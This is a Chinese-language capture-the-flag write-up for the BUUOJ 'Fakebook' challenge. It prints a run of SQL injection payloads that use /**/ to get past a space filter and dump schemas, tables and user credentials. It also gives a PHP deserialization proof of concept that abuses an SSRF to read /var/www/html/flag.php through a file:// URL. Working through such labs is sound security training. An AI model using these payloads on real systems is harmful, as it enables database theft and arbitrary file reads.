题目地址:https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202018]Fakebook
查看robots.txt
,发现user.php.bak
下载user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
很明显这里存在SSRF
,可以利用起来进行任意文件读取
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
注册一个账户登录,发现在?no
存在注入
接下来就是常规注入,唯一需要注意的就是这里的注入点过滤了空格,使用/**/
?no=1 order by 4
?no=-1 union/**/select/**/1,2,3,4
?no=-1 union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata
?no=-1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'
?no=-1 union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'
?no=-1 union/**/select/**/1,group_concat(no,'~',username,'~',passwd,'~',data),3,4/**/from/**/fakebook.users
可以发现data
字段存放的就是序列化字符串,在使用的时候应该就会调用进行data
字段进行反序列化操作
而且根据报错这里也知道了绝对路劲是/var/www/html/
构造反序列化POC
<?php
class UserInfo
{
public $name = "mochu";
public $age = 7;
public $blog = "file:///var/www/html/flag.php";
}
$res = new UserInfo();
echo serialize($res);
O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
根据之前的注入可知,有回显的是第二位,也就是username
字段,data
对应应该就是第四个字段为,将反序列化字符串尝试以注入的方式写入
?no=-1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
成功写入了data
字段,查看源代码,点击iframe
的这段标签的链接